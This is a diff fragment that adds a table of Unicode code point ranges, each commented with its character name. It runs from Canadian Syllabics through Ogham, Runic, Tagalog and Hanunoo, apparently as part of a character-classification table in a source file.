+ [0x1594, 0x1594], /* CANADIAN SYLLABICS NGAA */
+ [0x1595, 0x1595], /* CANADIAN SYLLABICS NG */
+ [0x1596, 0x1596], /* CANADIAN SYLLABICS NNG */
+ [0x1597, 0x1597], /* CANADIAN SYLLABICS SAYISI SHE */
+ [0x1598, 0x1598], /* CANADIAN SYLLABICS SAYISI SHI */
+ [0x1599, 0x1599], /* CANADIAN SYLLABICS SAYISI SHO */
+ [0x159a, 0x159a], /* CANADIAN SYLLABICS SAYISI SHA */
+ [0x159b, 0x159b], /* CANADIAN SYLLABICS WOODS-CREE THE */
+ [0x159c, 0x159c], /* CANADIAN SYLLABICS WOODS-CREE THI */
+ [0x159d, 0x159d], /* CANADIAN SYLLABICS WOODS-CREE THO */
+ [0x159e, 0x159e], /* CANADIAN SYLLABICS WOODS-CREE THA */
+ [0x159f, 0x159f], /* CANADIAN SYLLABICS WOODS-CREE TH */
+ [0x15a0, 0x15a0], /* CANADIAN SYLLABICS LHI */
+ [0x15a1, 0x15a1], /* CANADIAN SYLLABICS LHII */
+ [0x15a2, 0x15a2], /* CANADIAN SYLLABICS LHO */
+ [0x15a3, 0x15a3], /* CANADIAN SYLLABICS LHOO */
+ [0x15a4, 0x15a4], /* CANADIAN SYLLABICS LHA */
+ [0x15a5, 0x15a5], /* CANADIAN SYLLABICS LHAA */
+ [0x15a6, 0x15a6], /* CANADIAN SYLLABICS LH */
+ [0x15a7, 0x15a7], /* CANADIAN SYLLABICS TH-CREE THE */
+ [0x15a8, 0x15a8], /* CANADIAN SYLLABICS TH-CREE THI */
+ [0x15a9, 0x15a9], /* CANADIAN SYLLABICS TH-CREE THII */
+ [0x15aa, 0x15aa], /* CANADIAN SYLLABICS TH-CREE THO */
+ [0x15ab, 0x15ab], /* CANADIAN SYLLABICS TH-CREE THOO */
+ [0x15ac, 0x15ac], /* CANADIAN SYLLABICS TH-CREE THA */
+ [0x15ad, 0x15ad], /* CANADIAN SYLLABICS TH-CREE THAA */
+ [0x15ae, 0x15ae], /* CANADIAN SYLLABICS TH-CREE TH */
+ [0x15af, 0x15af], /* CANADIAN SYLLABICS AIVILIK B */
+ [0x15b0, 0x15b0], /* CANADIAN SYLLABICS BLACKFOOT E */
+ [0x15b1, 0x15b1], /* CANADIAN SYLLABICS BLACKFOOT I */
+ [0x15b2, 0x15b2], /* CANADIAN SYLLABICS BLACKFOOT O */
+ [0x15b3, 0x15b3], /* CANADIAN SYLLABICS BLACKFOOT A */
+ [0x15b4, 0x15b4], /* CANADIAN SYLLABICS BLACKFOOT WE */
+ [0x15b5, 0x15b5], /* CANADIAN SYLLABICS BLACKFOOT WI */
+ [0x15b6, 0x15b6], /* CANADIAN SYLLABICS BLACKFOOT WO */
+ [0x15b7, 0x15b7], /* CANADIAN SYLLABICS BLACKFOOT WA */
+ [0x15b8, 0x15b8], /* CANADIAN SYLLABICS BLACKFOOT NE */
+ [0x15b9, 0x15b9], /* CANADIAN SYLLABICS BLACKFOOT NI */
+ [0x15ba, 0x15ba], /* CANADIAN SYLLABICS BLACKFOOT NO */
+ [0x15bb, 0x15bb], /* CANADIAN SYLLABICS BLACKFOOT NA */
+ [0x15bc, 0x15bc], /* CANADIAN SYLLABICS BLACKFOOT KE */
+ [0x15bd, 0x15bd], /* CANADIAN SYLLABICS BLACKFOOT KI */
+ [0x15be, 0x15be], /* CANADIAN SYLLABICS BLACKFOOT KO */
+ [0x15bf, 0x15bf], /* CANADIAN SYLLABICS BLACKFOOT KA */
+ [0x15c0, 0x15c0], /* CANADIAN SYLLABICS SAYISI HE */
+ [0x15c1, 0x15c1], /* CANADIAN SYLLABICS SAYISI HI */
+ [0x15c2, 0x15c2], /* CANADIAN SYLLABICS SAYISI HO */
+ [0x15c3, 0x15c3], /* CANADIAN SYLLABICS SAYISI HA */
+ [0x15c4, 0x15c4], /* CANADIAN SYLLABICS CARRIER GHU */
+ [0x15c5, 0x15c5], /* CANADIAN SYLLABICS CARRIER GHO */
+ [0x15c6, 0x15c6], /* CANADIAN SYLLABICS CARRIER GHE */
+ [0x15c7, 0x15c7], /* CANADIAN SYLLABICS CARRIER GHEE */
+ [0x15c8, 0x15c8], /* CANADIAN SYLLABICS CARRIER GHI */
+ [0x15c9, 0x15c9], /* CANADIAN SYLLABICS CARRIER GHA */
+ [0x15ca, 0x15ca], /* CANADIAN SYLLABICS CARRIER RU */
+ [0x15cb, 0x15cb], /* CANADIAN SYLLABICS CARRIER RO */
+ [0x15cc, 0x15cc], /* CANADIAN SYLLABICS CARRIER RE */
+ [0x15cd, 0x15cd], /* CANADIAN SYLLABICS CARRIER REE */
+ [0x15ce, 0x15ce], /* CANADIAN SYLLABICS CARRIER RI */
+ [0x15cf, 0x15cf], /* CANADIAN SYLLABICS CARRIER RA */
+ [0x15d0, 0x15d0], /* CANADIAN SYLLABICS CARRIER WU */
+ [0x15d1, 0x15d1], /* CANADIAN SYLLABICS CARRIER WO */
+ [0x15d2, 0x15d2], /* CANADIAN SYLLABICS CARRIER WE */
+ [0x15d3, 0x15d3], /* CANADIAN SYLLABICS CARRIER WEE */
+ [0x15d4, 0x15d4], /* CANADIAN SYLLABICS CARRIER WI */
+ [0x15d5, 0x15d5], /* CANADIAN SYLLABICS CARRIER WA */
+ [0x15d6, 0x15d6], /* CANADIAN SYLLABICS CARRIER HWU */
+ [0x15d7, 0x15d7], /* CANADIAN SYLLABICS CARRIER HWO */
+ [0x15d8, 0x15d8], /* CANADIAN SYLLABICS CARRIER HWE */
+ [0x15d9, 0x15d9], /* CANADIAN SYLLABICS CARRIER HWEE */
+ [0x15da, 0x15da], /* CANADIAN SYLLABICS CARRIER HWI */
+ [0x15db, 0x15db], /* CANADIAN SYLLABICS CARRIER HWA */
+ [0x15dc, 0x15dc], /* CANADIAN SYLLABICS CARRIER THU */
+ [0x15dd, 0x15dd], /* CANADIAN SYLLABICS CARRIER THO */
+ [0x15de, 0x15de], /* CANADIAN SYLLABICS CARRIER THE */
+ [0x15df, 0x15df], /* CANADIAN SYLLABICS CARRIER THEE */
+ [0x15e0, 0x15e0], /* CANADIAN SYLLABICS CARRIER THI */
+ [0x15e1, 0x15e1], /* CANADIAN SYLLABICS CARRIER THA */
+ [0x15e2, 0x15e2], /* CANADIAN SYLLABICS CARRIER TTU */
+ [0x15e3, 0x15e3], /* CANADIAN SYLLABICS CARRIER TTO */
+ [0x15e4, 0x15e4], /* CANADIAN SYLLABICS CARRIER TTE */
+ [0x15e5, 0x15e5], /* CANADIAN SYLLABICS CARRIER TTEE */
+ [0x15e6, 0x15e6], /* CANADIAN SYLLABICS CARRIER TTI */
+ [0x15e7, 0x15e7], /* CANADIAN SYLLABICS CARRIER TTA */
+ [0x15e8, 0x15e8], /* CANADIAN SYLLABICS CARRIER PU */
+ [0x15e9, 0x15e9], /* CANADIAN SYLLABICS CARRIER PO */
+ [0x15ea, 0x15ea], /* CANADIAN SYLLABICS CARRIER PE */
+ [0x15eb, 0x15eb], /* CANADIAN SYLLABICS CARRIER PEE */
+ [0x15ec, 0x15ec], /* CANADIAN SYLLABICS CARRIER PI */
+ [0x15ed, 0x15ed], /* CANADIAN SYLLABICS CARRIER PA */
+ [0x15ee, 0x15ee], /* CANADIAN SYLLABICS CARRIER P */
+ [0x15ef, 0x15ef], /* CANADIAN SYLLABICS CARRIER GU */
+ [0x15f0, 0x15f0], /* CANADIAN SYLLABICS CARRIER GO */
+ [0x15f1, 0x15f1], /* CANADIAN SYLLABICS CARRIER GE */
+ [0x15f2, 0x15f2], /* CANADIAN SYLLABICS CARRIER GEE */
+ [0x15f3, 0x15f3], /* CANADIAN SYLLABICS CARRIER GI */
+ [0x15f4, 0x15f4], /* CANADIAN SYLLABICS CARRIER GA */
+ [0x15f5, 0x15f5], /* CANADIAN SYLLABICS CARRIER KHU */
+ [0x15f6, 0x15f6], /* CANADIAN SYLLABICS CARRIER KHO */
+ [0x15f7, 0x15f7], /* CANADIAN SYLLABICS CARRIER KHE */
+ [0x15f8, 0x15f8], /* CANADIAN SYLLABICS CARRIER KHEE */
+ [0x15f9, 0x15f9], /* CANADIAN SYLLABICS CARRIER KHI */
+ [0x15fa, 0x15fa], /* CANADIAN SYLLABICS CARRIER KHA */
+ [0x15fb, 0x15fb], /* CANADIAN SYLLABICS CARRIER KKU */
+ [0x15fc, 0x15fc], /* CANADIAN SYLLABICS CARRIER KKO */
+ [0x15fd, 0x15fd], /* CANADIAN SYLLABICS CARRIER KKE */
+ [0x15fe, 0x15fe], /* CANADIAN SYLLABICS CARRIER KKEE */
+ [0x15ff, 0x15ff], /* CANADIAN SYLLABICS CARRIER KKI */
+ [0x1600, 0x1600], /* CANADIAN SYLLABICS CARRIER KKA */
+ [0x1601, 0x1601], /* CANADIAN SYLLABICS CARRIER KK */
+ [0x1602, 0x1602], /* CANADIAN SYLLABICS CARRIER NU */
+ [0x1603, 0x1603], /* CANADIAN SYLLABICS CARRIER NO */
+ [0x1604, 0x1604], /* CANADIAN SYLLABICS CARRIER NE */
+ [0x1605, 0x1605], /* CANADIAN SYLLABICS CARRIER NEE */
+ [0x1606, 0x1606], /* CANADIAN SYLLABICS CARRIER NI */
+ [0x1607, 0x1607], /* CANADIAN SYLLABICS CARRIER NA */
+ [0x1608, 0x1608], /* CANADIAN SYLLABICS CARRIER MU */
+ [0x1609, 0x1609], /* CANADIAN SYLLABICS CARRIER MO */
+ [0x160a, 0x160a], /* CANADIAN SYLLABICS CARRIER ME */
+ [0x160b, 0x160b], /* CANADIAN SYLLABICS CARRIER MEE */
+ [0x160c, 0x160c], /* CANADIAN SYLLABICS CARRIER MI */
+ [0x160d, 0x160d], /* CANADIAN SYLLABICS CARRIER MA */
+ [0x160e, 0x160e], /* CANADIAN SYLLABICS CARRIER YU */
+ [0x160f, 0x160f], /* CANADIAN SYLLABICS CARRIER YO */
+ [0x1610, 0x1610], /* CANADIAN SYLLABICS CARRIER YE */
+ [0x1611, 0x1611], /* CANADIAN SYLLABICS CARRIER YEE */
+ [0x1612, 0x1612], /* CANADIAN SYLLABICS CARRIER YI */
+ [0x1613, 0x1613], /* CANADIAN SYLLABICS CARRIER YA */
+ [0x1614, 0x1614], /* CANADIAN SYLLABICS CARRIER JU */
+ [0x1615, 0x1615], /* CANADIAN SYLLABICS SAYISI JU */
+ [0x1616, 0x1616], /* CANADIAN SYLLABICS CARRIER JO */
+ [0x1617, 0x1617], /* CANADIAN SYLLABICS CARRIER JE */
+ [0x1618, 0x1618], /* CANADIAN SYLLABICS CARRIER JEE */
+ [0x1619, 0x1619], /* CANADIAN SYLLABICS CARRIER JI */
+ [0x161a, 0x161a], /* CANADIAN SYLLABICS SAYISI JI */
+ [0x161b, 0x161b], /* CANADIAN SYLLABICS CARRIER JA */
+ [0x161c, 0x161c], /* CANADIAN SYLLABICS CARRIER JJU */
+ [0x161d, 0x161d], /* CANADIAN SYLLABICS CARRIER JJO */
+ [0x161e, 0x161e], /* CANADIAN SYLLABICS CARRIER JJE */
+ [0x161f, 0x161f], /* CANADIAN SYLLABICS CARRIER JJEE */
+ [0x1620, 0x1620], /* CANADIAN SYLLABICS CARRIER JJI */
+ [0x1621, 0x1621], /* CANADIAN SYLLABICS CARRIER JJA */
+ [0x1622, 0x1622], /* CANADIAN SYLLABICS CARRIER LU */
+ [0x1623, 0x1623], /* CANADIAN SYLLABICS CARRIER LO */
+ [0x1624, 0x1624], /* CANADIAN SYLLABICS CARRIER LE */
+ [0x1625, 0x1625], /* CANADIAN SYLLABICS CARRIER LEE */
+ [0x1626, 0x1626], /* CANADIAN SYLLABICS CARRIER LI */
+ [0x1627, 0x1627], /* CANADIAN SYLLABICS CARRIER LA */
+ [0x1628, 0x1628], /* CANADIAN SYLLABICS CARRIER DLU */
+ [0x1629, 0x1629], /* CANADIAN SYLLABICS CARRIER DLO */
+ [0x162a, 0x162a], /* CANADIAN SYLLABICS CARRIER DLE */
+ [0x162b, 0x162b], /* CANADIAN SYLLABICS CARRIER DLEE */
+ [0x162c, 0x162c], /* CANADIAN SYLLABICS CARRIER DLI */
+ [0x162d, 0x162d], /* CANADIAN SYLLABICS CARRIER DLA */
+ [0x162e, 0x162e], /* CANADIAN SYLLABICS CARRIER LHU */
+ [0x162f, 0x162f], /* CANADIAN SYLLABICS CARRIER LHO */
+ [0x1630, 0x1630], /* CANADIAN SYLLABICS CARRIER LHE */
+ [0x1631, 0x1631], /* CANADIAN SYLLABICS CARRIER LHEE */
+ [0x1632, 0x1632], /* CANADIAN SYLLABICS CARRIER LHI */
+ [0x1633, 0x1633], /* CANADIAN SYLLABICS CARRIER LHA */
+ [0x1634, 0x1634], /* CANADIAN SYLLABICS CARRIER TLHU */
+ [0x1635, 0x1635], /* CANADIAN SYLLABICS CARRIER TLHO */
+ [0x1636, 0x1636], /* CANADIAN SYLLABICS CARRIER TLHE */
+ [0x1637, 0x1637], /* CANADIAN SYLLABICS CARRIER TLHEE */
+ [0x1638, 0x1638], /* CANADIAN SYLLABICS CARRIER TLHI */
+ [0x1639, 0x1639], /* CANADIAN SYLLABICS CARRIER TLHA */
+ [0x163a, 0x163a], /* CANADIAN SYLLABICS CARRIER TLU */
+ [0x163b, 0x163b], /* CANADIAN SYLLABICS CARRIER TLO */
+ [0x163c, 0x163c], /* CANADIAN SYLLABICS CARRIER TLE */
+ [0x163d, 0x163d], /* CANADIAN SYLLABICS CARRIER TLEE */
+ [0x163e, 0x163e], /* CANADIAN SYLLABICS CARRIER TLI */
+ [0x163f, 0x163f], /* CANADIAN SYLLABICS CARRIER TLA */
+ [0x1640, 0x1640], /* CANADIAN SYLLABICS CARRIER ZU */
+ [0x1641, 0x1641], /* CANADIAN SYLLABICS CARRIER ZO */
+ [0x1642, 0x1642], /* CANADIAN SYLLABICS CARRIER ZE */
+ [0x1643, 0x1643], /* CANADIAN SYLLABICS CARRIER ZEE */
+ [0x1644, 0x1644], /* CANADIAN SYLLABICS CARRIER ZI */
+ [0x1645, 0x1645], /* CANADIAN SYLLABICS CARRIER ZA */
+ [0x1646, 0x1646], /* CANADIAN SYLLABICS CARRIER Z */
+ [0x1647, 0x1647], /* CANADIAN SYLLABICS CARRIER INITIAL Z */
+ [0x1648, 0x1648], /* CANADIAN SYLLABICS CARRIER DZU */
+ [0x1649, 0x1649], /* CANADIAN SYLLABICS CARRIER DZO */
+ [0x164a, 0x164a], /* CANADIAN SYLLABICS CARRIER DZE */
+ [0x164b, 0x164b], /* CANADIAN SYLLABICS CARRIER DZEE */
+ [0x164c, 0x164c], /* CANADIAN SYLLABICS CARRIER DZI */
+ [0x164d, 0x164d], /* CANADIAN SYLLABICS CARRIER DZA */
+ [0x164e, 0x164e], /* CANADIAN SYLLABICS CARRIER SU */
+ [0x164f, 0x164f], /* CANADIAN SYLLABICS CARRIER SO */
+ [0x1650, 0x1650], /* CANADIAN SYLLABICS CARRIER SE */
+ [0x1651, 0x1651], /* CANADIAN SYLLABICS CARRIER SEE */
+ [0x1652, 0x1652], /* CANADIAN SYLLABICS CARRIER SI */
+ [0x1653, 0x1653], /* CANADIAN SYLLABICS CARRIER SA */
+ [0x1654, 0x1654], /* CANADIAN SYLLABICS CARRIER SHU */
+ [0x1655, 0x1655], /* CANADIAN SYLLABICS CARRIER SHO */
+ [0x1656, 0x1656], /* CANADIAN SYLLABICS CARRIER SHE */
+ [0x1657, 0x1657], /* CANADIAN SYLLABICS CARRIER SHEE */
+ [0x1658, 0x1658], /* CANADIAN SYLLABICS CARRIER SHI */
+ [0x1659, 0x1659], /* CANADIAN SYLLABICS CARRIER SHA */
+ [0x165a, 0x165a], /* CANADIAN SYLLABICS CARRIER SH */
+ [0x165b, 0x165b], /* CANADIAN SYLLABICS CARRIER TSU */
+ [0x165c, 0x165c], /* CANADIAN SYLLABICS CARRIER TSO */
+ [0x165d, 0x165d], /* CANADIAN SYLLABICS CARRIER TSE */
+ [0x165e, 0x165e], /* CANADIAN SYLLABICS CARRIER TSEE */
+ [0x165f, 0x165f], /* CANADIAN SYLLABICS CARRIER TSI */
+ [0x1660, 0x1660], /* CANADIAN SYLLABICS CARRIER TSA */
+ [0x1661, 0x1661], /* CANADIAN SYLLABICS CARRIER CHU */
+ [0x1662, 0x1662], /* CANADIAN SYLLABICS CARRIER CHO */
+ [0x1663, 0x1663], /* CANADIAN SYLLABICS CARRIER CHE */
+ [0x1664, 0x1664], /* CANADIAN SYLLABICS CARRIER CHEE */
+ [0x1665, 0x1665], /* CANADIAN SYLLABICS CARRIER CHI */
+ [0x1666, 0x1666], /* CANADIAN SYLLABICS CARRIER CHA */
+ [0x1667, 0x1667], /* CANADIAN SYLLABICS CARRIER TTSU */
+ [0x1668, 0x1668], /* CANADIAN SYLLABICS CARRIER TTSO */
+ [0x1669, 0x1669], /* CANADIAN SYLLABICS CARRIER TTSE */
+ [0x166a, 0x166a], /* CANADIAN SYLLABICS CARRIER TTSEE */
+ [0x166b, 0x166b], /* CANADIAN SYLLABICS CARRIER TTSI */
+ [0x166c, 0x166c], /* CANADIAN SYLLABICS CARRIER TTSA */
+ [0x166d, 0x166d], /* CANADIAN SYLLABICS CHI SIGN */
+ [0x166e, 0x166e], /* CANADIAN SYLLABICS FULL STOP */
+ [0x166f, 0x166f], /* CANADIAN SYLLABICS QAI */
+ [0x1670, 0x1670], /* CANADIAN SYLLABICS NGAI */
+ [0x1671, 0x1671], /* CANADIAN SYLLABICS NNGI */
+ [0x1672, 0x1672], /* CANADIAN SYLLABICS NNGII */
+ [0x1673, 0x1673], /* CANADIAN SYLLABICS NNGO */
+ [0x1674, 0x1674], /* CANADIAN SYLLABICS NNGOO */
+ [0x1675, 0x1675], /* CANADIAN SYLLABICS NNGA */
+ [0x1676, 0x1676], /* CANADIAN SYLLABICS NNGAA */
+ [0x1677, 0x1677], /* CANADIAN SYLLABICS WOODS-CREE THWEE */
+ [0x1678, 0x1678], /* CANADIAN SYLLABICS WOODS-CREE THWI */
+ [0x1679, 0x1679], /* CANADIAN SYLLABICS WOODS-CREE THWII */
+ [0x167a, 0x167a], /* CANADIAN SYLLABICS WOODS-CREE THWO */
+ [0x167b, 0x167b], /* CANADIAN SYLLABICS WOODS-CREE THWOO */
+ [0x167c, 0x167c], /* CANADIAN SYLLABICS WOODS-CREE THWA */
+ [0x167d, 0x167d], /* CANADIAN SYLLABICS WOODS-CREE THWAA */
+ [0x167e, 0x167e], /* CANADIAN SYLLABICS WOODS-CREE FINAL TH */
+ [0x167f, 0x167f], /* CANADIAN SYLLABICS BLACKFOOT W */
+ [0x1680, 0x1680], /* OGHAM SPACE MARK */
+ [0x1681, 0x1681], /* OGHAM LETTER BEITH */
+ [0x1682, 0x1682], /* OGHAM LETTER LUIS */
+ [0x1683, 0x1683], /* OGHAM LETTER FEARN */
+ [0x1684, 0x1684], /* OGHAM LETTER SAIL */
+ [0x1685, 0x1685], /* OGHAM LETTER NION */
+ [0x1686, 0x1686], /* OGHAM LETTER UATH */
+ [0x1687, 0x1687], /* OGHAM LETTER DAIR */
+ [0x1688, 0x1688], /* OGHAM LETTER TINNE */
+ [0x1689, 0x1689], /* OGHAM LETTER COLL */
+ [0x168a, 0x168a], /* OGHAM LETTER CEIRT */
+ [0x168b, 0x168b], /* OGHAM LETTER MUIN */
+ [0x168c, 0x168c], /* OGHAM LETTER GORT */
+ [0x168d, 0x168d], /* OGHAM LETTER NGEADAL */
+ [0x168e, 0x168e], /* OGHAM LETTER STRAIF */
+ [0x168f, 0x168f], /* OGHAM LETTER RUIS */
+ [0x1690, 0x1690], /* OGHAM LETTER AILM */
+ [0x1691, 0x1691], /* OGHAM LETTER ONN */
+ [0x1692, 0x1692], /* OGHAM LETTER UR */
+ [0x1693, 0x1693], /* OGHAM LETTER EADHADH */
+ [0x1694, 0x1694], /* OGHAM LETTER IODHADH */
+ [0x1695, 0x1695], /* OGHAM LETTER EABHADH */
+ [0x1696, 0x1696], /* OGHAM LETTER OR */
+ [0x1697, 0x1697], /* OGHAM LETTER UILLEANN */
+ [0x1698, 0x1698], /* OGHAM LETTER IFIN */
+ [0x1699, 0x1699], /* OGHAM LETTER EAMHANCHOLL */
+ [0x169a, 0x169a], /* OGHAM LETTER PEITH */
+ [0x169b, 0x169b], /* OGHAM FEATHER MARK */
+ [0x169c, 0x169c], /* OGHAM REVERSED FEATHER MARK */
+ [0x169d, 0x169d],
+ [0x169e, 0x169e],
+ [0x169f, 0x169f],
+ [0x16a0, 0x16a0], /* RUNIC LETTER FEHU FEOH FE F */
+ [0x16a1, 0x16a1], /* RUNIC LETTER V */
+ [0x16a2, 0x16a2], /* RUNIC LETTER URUZ UR U */
+ [0x16a3, 0x16a3], /* RUNIC LETTER YR */
+ [0x16a4, 0x16a4], /* RUNIC LETTER Y */
+ [0x16a5, 0x16a5], /* RUNIC LETTER W */
+ [0x16a6, 0x16a6], /* RUNIC LETTER THURISAZ THURS THORN */
+ [0x16a7, 0x16a7], /* RUNIC LETTER ETH */
+ [0x16a8, 0x16a8], /* RUNIC LETTER ANSUZ A */
+ [0x16a9, 0x16a9], /* RUNIC LETTER OS O */
+ [0x16aa, 0x16aa], /* RUNIC LETTER AC A */
+ [0x16ab, 0x16ab], /* RUNIC LETTER AESC */
+ [0x16ac, 0x16ac], /* RUNIC LETTER LONG-BRANCH-OSS O */
+ [0x16ad, 0x16ad], /* RUNIC LETTER SHORT-TWIG-OSS O */
+ [0x16ae, 0x16ae], /* RUNIC LETTER O */
+ [0x16af, 0x16af], /* RUNIC LETTER OE */
+ [0x16b0, 0x16b0], /* RUNIC LETTER ON */
+ [0x16b1, 0x16b1], /* RUNIC LETTER RAIDO RAD REID R */
+ [0x16b2, 0x16b2], /* RUNIC LETTER KAUNA */
+ [0x16b3, 0x16b3], /* RUNIC LETTER CEN */
+ [0x16b4, 0x16b4], /* RUNIC LETTER KAUN K */
+ [0x16b5, 0x16b5], /* RUNIC LETTER G */
+ [0x16b6, 0x16b6], /* RUNIC LETTER ENG */
+ [0x16b7, 0x16b7], /* RUNIC LETTER GEBO GYFU G */
+ [0x16b8, 0x16b8], /* RUNIC LETTER GAR */
+ [0x16b9, 0x16b9], /* RUNIC LETTER WUNJO WYNN W */
+ [0x16ba, 0x16ba], /* RUNIC LETTER HAGLAZ H */
+ [0x16bb, 0x16bb], /* RUNIC LETTER HAEGL H */
+ [0x16bc, 0x16bc], /* RUNIC LETTER LONG-BRANCH-HAGALL H */
+ [0x16bd, 0x16bd], /* RUNIC LETTER SHORT-TWIG-HAGALL H */
+ [0x16be, 0x16be], /* RUNIC LETTER NAUDIZ NYD NAUD N */
+ [0x16bf, 0x16bf], /* RUNIC LETTER SHORT-TWIG-NAUD N */
+ [0x16c0, 0x16c0], /* RUNIC LETTER DOTTED-N */
+ [0x16c1, 0x16c1], /* RUNIC LETTER ISAZ IS ISS I */
+ [0x16c2, 0x16c2], /* RUNIC LETTER E */
+ [0x16c3, 0x16c3], /* RUNIC LETTER JERAN J */
+ [0x16c4, 0x16c4], /* RUNIC LETTER GER */
+ [0x16c5, 0x16c5], /* RUNIC LETTER LONG-BRANCH-AR AE */
+ [0x16c6, 0x16c6], /* RUNIC LETTER SHORT-TWIG-AR A */
+ [0x16c7, 0x16c7], /* RUNIC LETTER IWAZ EOH */
+ [0x16c8, 0x16c8], /* RUNIC LETTER PERTHO PEORTH P */
+ [0x16c9, 0x16c9], /* RUNIC LETTER ALGIZ EOLHX */
+ [0x16ca, 0x16ca], /* RUNIC LETTER SOWILO S */
+ [0x16cb, 0x16cb], /* RUNIC LETTER SIGEL LONG-BRANCH-SOL S */
+ [0x16cc, 0x16cc], /* RUNIC LETTER SHORT-TWIG-SOL S */
+ [0x16cd, 0x16cd], /* RUNIC LETTER C */
+ [0x16ce, 0x16ce], /* RUNIC LETTER Z */
+ [0x16cf, 0x16cf], /* RUNIC LETTER TIWAZ TIR TYR T */
+ [0x16d0, 0x16d0], /* RUNIC LETTER SHORT-TWIG-TYR T */
+ [0x16d1, 0x16d1], /* RUNIC LETTER D */
+ [0x16d2, 0x16d2], /* RUNIC LETTER BERKANAN BEORC BJARKAN B */
+ [0x16d3, 0x16d3], /* RUNIC LETTER SHORT-TWIG-BJARKAN B */
+ [0x16d4, 0x16d4], /* RUNIC LETTER DOTTED-P */
+ [0x16d5, 0x16d5], /* RUNIC LETTER OPEN-P */
+ [0x16d6, 0x16d6], /* RUNIC LETTER EHWAZ EH E */
+ [0x16d7, 0x16d7], /* RUNIC LETTER MANNAZ MAN M */
+ [0x16d8, 0x16d8], /* RUNIC LETTER LONG-BRANCH-MADR M */
+ [0x16d9, 0x16d9], /* RUNIC LETTER SHORT-TWIG-MADR M */
+ [0x16da, 0x16da], /* RUNIC LETTER LAUKAZ LAGU LOGR L */
+ [0x16db, 0x16db], /* RUNIC LETTER DOTTED-L */
+ [0x16dc, 0x16dc], /* RUNIC LETTER INGWAZ */
+ [0x16dd, 0x16dd], /* RUNIC LETTER ING */
+ [0x16de, 0x16de], /* RUNIC LETTER DAGAZ DAEG D */
+ [0x16df, 0x16df], /* RUNIC LETTER OTHALAN ETHEL O */
+ [0x16e0, 0x16e0], /* RUNIC LETTER EAR */
+ [0x16e1, 0x16e1], /* RUNIC LETTER IOR */
+ [0x16e2, 0x16e2], /* RUNIC LETTER CWEORTH */
+ [0x16e3, 0x16e3], /* RUNIC LETTER CALC */
+ [0x16e4, 0x16e4], /* RUNIC LETTER CEALC */
+ [0x16e5, 0x16e5], /* RUNIC LETTER STAN */
+ [0x16e6, 0x16e6], /* RUNIC LETTER LONG-BRANCH-YR */
+ [0x16e7, 0x16e7], /* RUNIC LETTER SHORT-TWIG-YR */
+ [0x16e8, 0x16e8], /* RUNIC LETTER ICELANDIC-YR */
+ [0x16e9, 0x16e9], /* RUNIC LETTER Q */
+ [0x16ea, 0x16ea], /* RUNIC LETTER X */
+ [0x16eb, 0x16eb], /* RUNIC SINGLE PUNCTUATION */
+ [0x16ec, 0x16ec], /* RUNIC MULTIPLE PUNCTUATION */
+ [0x16ed, 0x16ed], /* RUNIC CROSS PUNCTUATION */
+ [0x16ee, 0x16ee], /* RUNIC ARLAUG SYMBOL */
+ [0x16ef, 0x16ef], /* RUNIC TVIMADUR SYMBOL */
+ [0x16f0, 0x16f0], /* RUNIC BELGTHOR SYMBOL */
+ [0x16f1, 0x16f1], /* RUNIC LETTER K */
+ [0x16f2, 0x16f2], /* RUNIC LETTER SH */
+ [0x16f3, 0x16f3], /* RUNIC LETTER OO */
+ [0x16f4, 0x16f4], /* RUNIC LETTER FRANKS CASKET OS */
+ [0x16f5, 0x16f5], /* RUNIC LETTER FRANKS CASKET IS */
+ [0x16f6, 0x16f6], /* RUNIC LETTER FRANKS CASKET EH */
+ [0x16f7, 0x16f7], /* RUNIC LETTER FRANKS CASKET AC */
+ [0x16f8, 0x16f8], /* RUNIC LETTER FRANKS CASKET AESC */
+ [0x16f9, 0x16f9],
+ [0x16fa, 0x16fa],
+ [0x16fb, 0x16fb],
+ [0x16fc, 0x16fc],
+ [0x16fd, 0x16fd],
+ [0x16fe, 0x16fe],
+ [0x16ff, 0x16ff],
+ [0x1700, 0x1700], /* TAGALOG LETTER A */
+ [0x1701, 0x1701], /* TAGALOG LETTER I */
+ [0x1702, 0x1702], /* TAGALOG LETTER U */
+ [0x1703, 0x1703], /* TAGALOG LETTER KA */
+ [0x1704, 0x1704], /* TAGALOG LETTER GA */
+ [0x1705, 0x1705], /* TAGALOG LETTER NGA */
+ [0x1706, 0x1706], /* TAGALOG LETTER TA */
+ [0x1707, 0x1707], /* TAGALOG LETTER DA */
+ [0x1708, 0x1708], /* TAGALOG LETTER NA */
+ [0x1709, 0x1709], /* TAGALOG LETTER PA */
+ [0x170a, 0x170a], /* TAGALOG LETTER BA */
+ [0x170b, 0x170b], /* TAGALOG LETTER MA */
+ [0x170c, 0x170c], /* TAGALOG LETTER YA */
+ [0x170d, 0x170d],
+ [0x170e, 0x170e], /* TAGALOG LETTER LA */
+ [0x170f, 0x170f], /* TAGALOG LETTER WA */
+ [0x1710, 0x1710], /* TAGALOG LETTER SA */
+ [0x1711, 0x1711], /* TAGALOG LETTER HA */
+ [0x1712, 0x1712], /* TAGALOG VOWEL SIGN I */
+ [0x1713, 0x1713], /* TAGALOG VOWEL SIGN U */
+ [0x1714, 0x1714], /* TAGALOG SIGN VIRAMA */
+ [0x1715, 0x1715],
+ [0x1716, 0x1716],
+ [0x1717, 0x1717],
+ [0x1718, 0x1718],
+ [0x1719, 0x1719],
+ [0x171a, 0x171a],
+ [0x171b, 0x171b],
+ [0x171c, 0x171c],
+ [0x171d, 0x171d],
+ [0x171e, 0x171e],
+ [0x171f, 0x171f],
+ [0x1720, 0x1720], /* HANUNOO LETTER A */
+ [0x1721, 0x1721], /* HANUNOO LETTER I */
+ [0x1722, 0x1722], /* HANUNOO LETTER U */
+ [0x1723, 0x1723], /* HANUNOO LETTER KA */
+ [0x1724, 0x1724], /* HANUNOO LETTER GA */
+ [0x1725, 0x1725], /* HANUNOO LETTER NGA */
+ [0x1726, 0x1726], /* HANUNOO LETTER TA */
+ [0x1727, 0x1727], /* HANUNOO LETTER DA */
+ [0x1728, 0x1728], /* HANUNOO LETTER NA */
+ [0x1729, 0x1729], /* HANUNOO LETTER PA */
+ [0x172a, 0x172a], /* HANUNOO LETTER BA */
+ [0x172b, 0x172b], /* HANUNOO LETTER MA */
+ [0x172c, 0x172c], /* HANUNOO LETTER YA */
+ [0x172d, 0x172d], /* HANUNOO LETTER RA */
+ [0x172e, 0x172e], /* HANUNOO LETTER LA */
+ [0x172f, 0x172f], /* HANUNOO LETTER WA */
+ [0x1730, 0x1730], /* HANUNOO LETTER SA */
+ [0x1731, 0x1731], /* HANUNOO LETTER HA */
